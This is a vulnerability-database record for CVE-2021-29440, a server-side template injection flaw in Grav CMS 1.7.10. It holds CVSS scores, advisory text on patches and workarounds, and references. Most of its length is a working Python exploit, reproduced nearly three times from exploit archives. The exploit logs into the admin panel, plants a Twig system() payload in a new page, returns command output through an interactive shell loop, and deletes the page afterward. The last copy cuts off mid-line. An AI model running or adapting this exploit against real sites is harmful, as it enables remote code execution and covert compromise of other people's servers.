Grav is a file based Web-platform. Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance. The issue was addressed in version 1.7.11.
{"id": "CVE-2021-29440", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-29440", "description": "Grav is a file based Web-platform. Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance. The issue was addressed in version 1.7.11.", "published": "2021-04-13T20:15:00", "modified": "2021-06-08T19:22:00", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.5}, "severity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 7.2, "baseSeverity": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-29440", "reporter": "security-advisories@github.com", "references": ["https://packagist.org/packages/getgrav/grav", "https://github.com/getgrav/grav/security/advisories/GHSA-g8r4-p96j-xfxc", "http://packetstormsecurity.com/files/162987/Grav-CMS-1.7.10-Server-Side-Template-Injection.html"], "cvelist": ["CVE-2021-29440"], "immutableFields": [], "lastseen": "2022-03-23T16:54:33", "viewCount": 63, "enchantments": {"dependencies": {"references": [{"type": "checkpoint_advisories", "idList": ["CPAI-2021-0424"]}, {"type": "exploitdb", "idList": ["EDB-ID:49961"]}, {"type": "github", "idList": ["GHSA-G8R4-P96J-XFXC"]}, {"type": "githubexploit", "idList": ["EB9CAA97-B8EC-59EE-B164-1410E13A863F"]}, {"type": "osv", "idList": ["OSV:GHSA-G8R4-P96J-XFXC"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:162987"]}, {"type": "sonarsource", "idList": ["SONARSOURCE:B31DFA0B2A690AD5622A8CB82F0A38C4"]}, {"type": "zdt", "idList": ["1337DAY-ID-36366"]}], "rev": 4}, "score": {"value": 6.6, "vector": "NONE"}, "twitter": {"counter": 8, "tweets": [{"link": "https://twitter.com/VulmonFeeds/status/1401346855552880647", "text": "CVE-2021-29440\n\nGrav is a file based Web-platform. Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandbox...\n\nhttps://t.co/78K6pSwOrK?amp=1"}, {"link": "https://twitter.com/WolfgangSesin/status/1384191393434783745", "text": "New post from https://t.co/uXvPWJPHkR?amp=1 (CVE-2021-29440 (grav)) has been published on https://t.co/VwxlFzkMBE?amp=1"}, {"link": "https://twitter.com/WolfgangSesin/status/1384191393434783745", "text": "New post from https://t.co/uXvPWJPHkR?amp=1 (CVE-2021-29440 (grav)) has been published on https://t.co/VwxlFzkMBE?amp=1"}, {"link": "https://twitter.com/_r_netsec/status/1399745832778223629", "text": "Technical analysis of two RCE in Grav CMS 1.7.10 (CVE-2021-29439, CVE-2021-29440) https://t.co/4LVnWvnXdi?amp=1"}, {"link": "https://twitter.com/Har_sia/status/1401675784767479808", "text": "CVE-2021-29440 https://t.co/OvQ1TiAOFK?amp=1 /hashtag/HarsiaInfo?src=hashtag_click"}, {"link": "https://twitter.com/www_sesin_at/status/1384191360492720145", "text": "New post from https://t.co/9KYxtdHHVL?amp=1 (CVE-2021-29440 (grav)) has been published on https://t.co/TgOwyFAlbX?amp=1"}, {"link": "https://twitter.com/www_sesin_at/status/1384191360492720145", "text": "New post from https://t.co/9KYxtdHHVL?amp=1 (CVE-2021-29440 (grav)) has been published on https://t.co/TgOwyFAlbX?amp=1"}, {"link": "https://twitter.com/techadversary/status/1417505208674906115", "text": "Technical analysis of two RCE in Grav CMS 1.7.10 (CVE-2021-29439, CVE-2021-29440)"}], "modified": "2021-06-09T07:39:38"}, "backreferences": {"references": [{"type": "checkpoint_advisories", "idList": ["CPAI-2021-0424"]}, {"type": "exploitdb", "idList": ["EDB-ID:49961"]}, {"type": "github", "idList": ["GHSA-G8R4-P96J-XFXC"]}, {"type": "githubexploit", "idList": ["EB9CAA97-B8EC-59EE-B164-1410E13A863F"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:162987"]}, {"type": "sonarsource", "idList": ["SONARSOURCE:B31DFA0B2A690AD5622A8CB82F0A38C4"]}, {"type": "zdt", "idList": ["1337DAY-ID-36366"]}]}, "exploitation": null, "vulnersScore": 6.6}, "_state": {"dependencies": 0}, "_internal": {}, "cna_cvss": {"cna": "GitHub, Inc.", "cvss": {"3": {"vector": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H", "score": 8.4}}}, "cpe": [], "cpe23": [], "cwe": ["CWE-94"], "affectedSoftware": [{"cpeName": "getgrav:grav", "version": "1.7.11", "operator": "lt", "name": "getgrav grav"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:getgrav:grav:1.7.11:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.11", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://packagist.org/packages/getgrav/grav", "name": "https://packagist.org/packages/getgrav/grav", "refsource": "MISC", "tags": ["Product", "Third Party Advisory"]}, {"url": "https://github.com/getgrav/grav/security/advisories/GHSA-g8r4-p96j-xfxc", "name": "https://github.com/getgrav/grav/security/advisories/GHSA-g8r4-p96j-xfxc", "refsource": "CONFIRM", "tags": ["Third Party Advisory"]}, {"url": "http://packetstormsecurity.com/files/162987/Grav-CMS-1.7.10-Server-Side-Template-Injection.html", "name": "http://packetstormsecurity.com/files/162987/Grav-CMS-1.7.10-Server-Side-Template-Injection.html", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}]}
{"checkpoint_advisories": [{"lastseen": "2022-02-16T19:32:29", "description": "A command injection vulnerability exists in Grav CMS. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary commands on the affected system.", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.2, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-06-24T00:00:00", "type": "checkpoint_advisories", "title": "Grav CMS Command Injection (CVE-2021-29440)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-29440"], "modified": "2021-06-24T00:00:00", "id": "CPAI-2021-0424", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "githubexploit": [{"lastseen": "2021-12-10T15:23:29", "description": "# CVE-2021-29440\nUnsafe Twig processing of static pages leading ...", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.2, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-06-06T00:51:21", "type": "githubexploit", "title": "Exploit for Code Injection in Getgrav Grav", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-29440"], "modified": "2021-11-12T14:44:22", "id": "EB9CAA97-B8EC-59EE-B164-1410E13A863F", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "privateArea": 1}], "osv": [{"lastseen": "2022-05-12T01:08:35", "description": "### Impact\n\nTwig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. \nAs the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.\n\n### Patches\n\nThe issue was addressed by preventing dangerous functions from being called in Twig templates. A configuration option has been added to manually allow arbitrary PHP functions (`system.twig.safe_functions`) and filters (`system.twig.safe_filters`). \n\nFutures major versions of Grav may disable this functionality by default. \n\n### Workarounds\n\nBlocking access to the `/admin` path from untrusted sources will reduce the probability of exploitation. \n\n### References\n\n- https://portswigger.net/research/server-side-template-injection\n- https://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities\n\n### For more information\n\nIf you have any questions or comments about this advisory, you can contact:\n - The original reporters, by sending an email to vulnerability.research [at] sonarsource.com;\n - The maintainers, by opening an issue on this repository.", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-16T19:53:12", "type": "osv", "title": "Twig allowing dangerous PHP functions by default in getgrav/grav", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-29440"], "modified": "2021-07-13T15:49:43", "id": "OSV:GHSA-G8R4-P96J-XFXC", "href": "https://osv.dev/vulnerability/GHSA-g8r4-p96j-xfxc", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "github": [{"lastseen": "2022-04-27T17:34:37", "description": "### Impact\n\nTwig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. \nAs the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.\n\n### Patches\n\nThe issue was addressed by preventing dangerous functions from being called in Twig templates. A configuration option has been added to manually allow arbitrary PHP functions (`system.twig.safe_functions`) and filters (`system.twig.safe_filters`). \n\nFutures major versions of Grav may disable this functionality by default. \n\n### Workarounds\n\nBlocking access to the `/admin` path from untrusted sources will reduce the probability of exploitation. \n\n### References\n\n- https://portswigger.net/research/server-side-template-injection\n- https://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities\n\n### For more information\n\nIf you have any questions or comments about this advisory, you can contact:\n - The original reporters, by sending an email to vulnerability.research [at] sonarsource.com;\n - The maintainers, by opening an issue on this repository.", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-16T19:53:12", "type": "github", "title": "Twig allowing dangerous PHP functions by default in getgrav/grav", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-29440"], "modified": "2022-04-19T19:02:53", "id": "GHSA-G8R4-P96J-XFXC", "href": "https://github.com/advisories/GHSA-g8r4-p96j-xfxc", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2021-06-07T14:16:03", "description": "", "cvss3": {}, "published": "2021-06-07T00:00:00", "type": "packetstorm", "title": "Grav CMS 1.7.10 Server-Side Template Injection", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-29440"], "modified": "2021-06-07T00:00:00", "id": "PACKETSTORM:162987", "href": "https://packetstormsecurity.com/files/162987/Grav-CMS-1.7.10-Server-Side-Template-Injection.html", "sourceData": "`# Title: Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated) \n# Author: enox \n# Date: 06-06-2021 \n# Vendor: https://getgrav.org/ \n# Software Link: https://getgrav.org/download/core/grav-admin/1.7.10 \n# Vulnerable Version(s): Grav CMS 1.7.10 \n# CVE: CVE-2021-29440 \n# Credits: https://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities \n# NOTES: You need a user who has access to /admin dashboard with page creation privileges. \n \n#!/usr/bin/python \n \nimport requests \nfrom bs4 import BeautifulSoup \nimport random \nimport string \n \n \nusername = 'username' \npassword = 'password' \nurl = 'http://grav.local' \n \n \nsession = requests.Session() \n \n# Autheticating \n## Getting login-nonce \ndef login(url,username,password): \nr = session.get(url + \"/admin\") \nsoup = BeautifulSoup(r.text, features=\"lxml\") \nnonce = str(soup.findAll('input')[2]) \nnonce = nonce[47:79] \n \n## Logging in \npayload =f'data%5Busername%5D={username}&data%5Bpassword%5D={password}&task=login&login-nonce={nonce}' \nheaders = {'Content-Type': 'application/x-www-form-urlencoded'} \nr = session.post(url+\"/admin\",data=payload,headers=headers) \n \n \n# Creating Page for RCE \n \ndef rce(url,cmd): \n## Getting form nonce and unique form id \nproject_name = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 8)) \nr = session.get(url+f\"/admin/pages/{project_name}/:add\") \nsoup = BeautifulSoup(r.text, features=\"lxml\") \nnonce = str(soup.findAll('input')[72]) \nform_id = str(soup.findAll('input')[71]) \nform_id = form_id[54:86] \nnonce = nonce[46:78] \n \n## Creating Page \nheaders = {'Content-Type': 'application/x-www-form-urlencoded'} \npayload = f'task=save&data%5Bheader%5D%5Btitle%5D={project_name}&data%5Bcontent%5D=%7B%7B+system%28%27{cmd}%27%29+%7D%7D&data%5Bfolder%5D={project_name}&data%5Broute%5D=&data%5Bname%5D=default&data%5Bheader%5D%5Bbody_classes%5D=&data%5Bordering%5D=1&data%5Border%5D=&toggleable_data%5Bheader%5D%5Bprocess%5D=on&data%5Bheader%5D%5Bprocess%5D%5Btwig%5D=1&data%5Bheader%5D%5Border_by%5D=&data%5Bheader%5D%5Border_manual%5D=&data%5Bblueprint%5D=&data%5Blang%5D=&_post_entries_save=edit&__form-name__=flex-pages&__unique_form_id__={form_id}&form-nonce={nonce}&toggleable_data%5Bheader%5D%5Bpublished%5D=0&toggleable_data%5Bheader%5D%5Bdate%5D=0&toggleable_data%5Bheader%5D%5Bpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bmetadata%5D=0&toggleable_data%5Bheader%5D%5Bdateformat%5D=0&toggleable_data%5Bheader%5D%5Bmenu%5D=0&toggleable_data%5Bheader%5D%5Bslug%5D=0&toggleable_data%5Bheader%5D%5Bredirect%5D=0&data%5Bheader%5D%5Bprocess%5D%5Bmarkdown%5D=0&toggleable_data%5Bheader%5D%5Btwig_first%5D=0&toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0&toggleable_data%5Bheader%5D%5Bchild_type%5D=0&toggleable_data%5Bheader%5D%5Broutable%5D=0&toggleable_data%5Bheader%5D%5Bcache_enable%5D=0&toggleable_data%5Bheader%5D%5Bvisible%5D=0&toggleable_data%5Bheader%5D%5Bdebugger%5D=0&toggleable_data%5Bheader%5D%5Btemplate%5D=0&toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0&toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0' \nr = session.post(url+f\"/admin/pages/{project_name}/:add\",data=payload,headers=headers) \n \n## Getting command output \nr = session.get(url+f\"/{project_name.lower()}\") \nif 'SyntaxError' in r.text: \nprint(\"[-] Command error\") \nelse: \na = r.text.split('<section id=\"body-wrapper\" class=\"section\">') \nb = a[1].split('</section>') \nprint(b[0][58:]) \n \n \n# Cleaning up \n## Getting admin-nonce \nr = session.get(url + \"/admin/pages\") \nsoup = BeautifulSoup(r.text, features=\"lxml\") \nnonce = str(soup.findAll('input')[32]) \nnonce = nonce[47:79] \n \n## Deleting Page \nr = session.get(url+f\"/admin/pages/{project_name.lower()}/task:delete/admin-nonce:{nonce}\") \n \nlogin(url,username,password) \n \nwhile True: \ncmd = input(\"$ \") \nrce(url,cmd) \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/162987/gravcms1710-ssti.txt", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "zdt": [{"lastseen": "2021-12-03T01:58:02", "description": "", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.2, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-06-07T00:00:00", "type": "zdt", "title": "Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated) Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-29440"], "modified": "2021-06-07T00:00:00", "id": "1337DAY-ID-36366", "href": "https://0day.today/exploit/description/36366", "sourceData": "# Title: Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated)\n# Author: enox\n# Vendor: https://getgrav.org/\n# Software Link: https://getgrav.org/download/core/grav-admin/1.7.10\n# Vulnerable Version(s): Grav CMS 1.7.10\n# CVE: CVE-2021-29440\n# Credits: https://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities\n# NOTES: You need a user who has access to /admin dashboard with page creation privileges.\n\n#!/usr/bin/python\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport random\nimport string\n\n\nusername = 'username'\npassword = 'password'\nurl = 'http://grav.local'\n\n\nsession = requests.Session()\n\n# Autheticating\n## Getting login-nonce\ndef login(url,username,password):\n\tr = session.get(url + \"/admin\")\n\tsoup = BeautifulSoup(r.text, features=\"lxml\")\n\tnonce = str(soup.findAll('input')[2])\n\tnonce = nonce[47:79]\n\n\t## Logging in\n\tpayload =f'data%5Busername%5D={username}&data%5Bpassword%5D={password}&task=login&login-nonce={nonce}'\n\theaders = {'Content-Type': 'application/x-www-form-urlencoded'}\n\tr = session.post(url+\"/admin\",data=payload,headers=headers)\n\n\n# Creating Page for RCE\n\ndef rce(url,cmd):\n\t## Getting form nonce and unique form id\n\tproject_name = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 8))\n\tr = session.get(url+f\"/admin/pages/{project_name}/:add\")\n\tsoup = BeautifulSoup(r.text, features=\"lxml\")\n\tnonce = str(soup.findAll('input')[72])\n\tform_id = str(soup.findAll('input')[71])\n\tform_id = form_id[54:86]\n\tnonce = nonce[46:78]\n\n\t## Creating Page\n\theaders = {'Content-Type': 'application/x-www-form-urlencoded'}\n\tpayload = f'task=save&data%5Bheader%5D%5Btitle%5D={project_name}&data%5Bcontent%5D=%7B%7B+system%28%27{cmd}%27%29+%7D%7D&data%5Bfolder%5D={project_name}&data%5Broute%5D=&data%5Bname%5D=default&data%5Bheader%5D%5Bbody_classes%5D=&data%5Bordering%5D=1&data%5Border%5D=&toggleable_data%5Bheader%5D%5Bprocess%5D=on&data%5Bheader%5D%5Bprocess%5D%5Btwig%5D=1&data%5Bheader%5D%5Border_by%5D=&data%5Bheader%5D%5Border_manual%5D=&data%5Bblueprint%5D=&data%5Blang%5D=&_post_entries_save=edit&__form-name__=flex-pages&__unique_form_id__={form_id}&form-nonce={nonce}&toggleable_data%5Bheader%5D%5Bpublished%5D=0&toggleable_data%5Bheader%5D%5Bdate%5D=0&toggleable_data%5Bheader%5D%5Bpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bmetadata%5D=0&toggleable_data%5Bheader%5D%5Bdateformat%5D=0&toggleable_data%5Bheader%5D%5Bmenu%5D=0&toggleable_data%5Bheader%5D%5Bslug%5D=0&toggleable_data%5Bheader%5D%5Bredirect%5D=0&data%5Bheader%5D%5Bprocess%5D%5Bmarkdown%5D=0&toggleable_data%5Bheader%5D%5Btwig_first%5D=0&toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0&toggleable_data%5Bheader%5D%5Bchild_type%5D=0&toggleable_data%5Bheader%5D%5Broutable%5D=0&toggleable_data%5Bheader%5D%5Bcache_enable%5D=0&toggleable_data%5Bheader%5D%5Bvisible%5D=0&toggleable_data%5Bheader%5D%5Bdebugger%5D=0&toggleable_data%5Bheader%5D%5Btemplate%5D=0&toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0&toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0'\n\tr = session.post(url+f\"/admin/pages/{project_name}/:add\",data=payload,headers=headers)\n\n\t## Getting command output\n\tr = session.get(url+f\"/{project_name.lower()}\")\n\tif 'SyntaxError' in r.text:\n\t\tprint(\"[-] Command error\")\n\telse:\n\t\ta = r.text.split('<section id=\"body-wrapper\" class=\"section\">')\n\t\tb = a[1].split('</section>')\n\t\tprint(b[0][58:])\n\n\n\t# Cleaning up\n\t## Getting admin-nonce\n\tr = session.get(url + \"/admin/pages\")\n\tsoup = BeautifulSoup(r.text, features=\"lxml\")\n\tnonce = str(soup.findAll('input')[32])\n\tnonce = nonce[47:79]\n\n\t## Deleting Page\n\tr = session.get(url+f\"/admin/pages/{project_name.lower()}/task:delete/admin-nonce:{nonce}\")\n\nlogin(url,username,password)\n\nwhile True:\n\tcmd = input(\"$ \")\n\trce(url,cmd)\n", "sourceHref": "https://0day.today/exploit/36366", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "exploitdb": [{"lastseen": "2022-05-13T17:37:36", "description": "", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-07T00:00:00", "type": "exploitdb", "title": "Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated)", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2021-29440", "CVE-2021-29440"], "modified": "2021-06-07T00:00:00", "id": "EDB-ID:49961", "href": "https://www.exploit-db.com/exploits/49961", "sourceData": "# Title: Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated)\r\n# Author: enox\r\n# Date: 06-06-2021\r\n# Vendor: https://getgrav.org/\r\n# Software Link: https://getgrav.org/download/core/grav-admin/1.7.10\r\n# Vulnerable Version(s): Grav CMS 1.7.10\r\n# CVE: CVE-2021-29440\r\n# Credits: https://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities\r\n# NOTES: You need a user who has access to /admin dashboard with page creation privileges.\r\n\r\n#!/usr/bin/python\r\n\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nimport random\r\nimport string\r\n\r\n\r\nusername = 'username'\r\npassword = 'password'\r\nurl = 'http://grav.local'\r\n\r\n\r\nsession = requests.Session()\r\n\r\n# Autheticating\r\n## Getting login-nonce\r\ndef login(url,username,password):\r\n\tr = session.get(url + \"/admin\")\r\n\tsoup = BeautifulSoup(r.text, features=\"lxml\")\r\n\tnonce = str(soup.findAll('input')[2])\r\n\tnonce = nonce[47:79]\r\n\r\n\t## Logging in\r\n\tpayload =f'data%5Busername%5D={username}&data%5Bpassword%5D={password}&task=login&login-nonce={nonce}'\r\n\theaders = {'Content-Type': 'application/x-www-form-urlencoded'}\r\n\tr = session.post(url+\"/admin\",data=payload,headers=headers)\r\n\r\n\r\n# Creating Page for RCE\r\n\r\ndef rce(url,cmd):\r\n\t## Getting form nonce and unique form id\r\n\tproject_name = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 8))\r\n\tr = session.get(url+f\"/admin/pages/{project_name}/:add\")\r\n\tsoup = BeautifulSoup(r.text, features=\"lxml\")\r\n\tnonce = str(soup.findAll('input')[72])\r\n\tform_id = str(soup.findAll('input')[71])\r\n\tform_id = form_id[54:86]\r\n\tnonce = nonce[46:78]\r\n\r\n\t## Creating Page\r\n\theaders = {'Content-Type': 'application/x-www-form-urlencoded'}\r\n\tpayload = 